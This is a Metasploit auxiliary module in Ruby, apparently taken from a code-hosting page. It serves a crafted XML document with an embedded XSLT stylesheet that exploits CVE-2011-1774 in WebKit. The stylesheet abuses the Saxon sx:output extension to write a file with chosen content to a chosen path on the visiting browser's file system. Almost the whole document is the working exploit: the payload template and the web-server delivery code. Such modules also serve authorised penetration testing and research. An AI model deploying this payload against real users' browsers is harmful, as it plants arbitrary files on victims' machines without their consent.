91 lines
2.7 KiB
Ruby
91 lines
2.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Cross Platform Webkit File Dropper',
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'Description' => %q{
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This module exploits a XSLT vulnerability in Webkit to drop ASCII or UTF-8
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files to the target file-system. By default, the file will be dropped in
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C:\Program Files\
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},
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'Author' => [ 'Nicolas Gregoire' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2011-1774' ]
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],
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'Actions' =>
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[
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[ 'WebServer' ]
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],
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'PassiveActions' =>
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[
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'WebServer'
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],
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'DefaultAction' => 'WebServer'))
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register_options(
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[
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OptString.new('REMOTE_PATH', [ true, "Location of the remote file", 'flag.txt' ]),
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OptString.new('REMOTE_CONTENT', [ true, "Content of the remote file", 'Hello from CVE-2011-1774' ])
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])
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end
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def on_request_uri(cli, request)
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path = datastore['REMOTE_PATH']
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content = datastore['REMOTE_CONTENT']
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html = <<-EOS
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<?xml-stylesheet type="text/xml" href="#fragment"?>
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<!-- Define the DTD of the document
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This is needed, in order to later reference the XSLT stylesheet by a #fragment
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This trick allows to have both the XML and the XSL in the same file
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Cf. http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html -->
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<!DOCTYPE doc [
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<!ATTLIST xsl:stylesheet
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id ID #REQUIRED
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>]>
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<doc>
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<!-- Define location and content of the file -->
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<path><![CDATA[#{path}]]></path>
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<content><![CDATA[#{content}]]></content>
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<!-- The XSLT stylesheet header, including the "sx" extension -->
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<xsl:stylesheet id="fragment" version="1.0"
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xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
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xmlns:sx="http://icl.com/saxon"
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extension-element-prefixes="sx"
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xmlns="http://www.w3.org/1999/xhtml" >
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<xsl:output method="xml" indent="yes" />
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<!-- The XSLT template -->
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<xsl:template match="/">
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<!-- Create the file -->
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<xsl:variable name="path" select="//path/text()"/>
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<sx:output file="{$path}" method="text">
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<xsl:value-of select="//content"/>
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</sx:output>
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<!-- Send some output to the browser -->
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<html> </html>
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</xsl:template>
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</xsl:stylesheet>
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</doc>
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EOS
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print_status("Sending XSLT payload ...")
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print_status("Destination file : #{path}")
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send_response_html(cli, html, { 'Content-Type' => 'application/xml' })
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end
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def run
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exploit()
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end
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end
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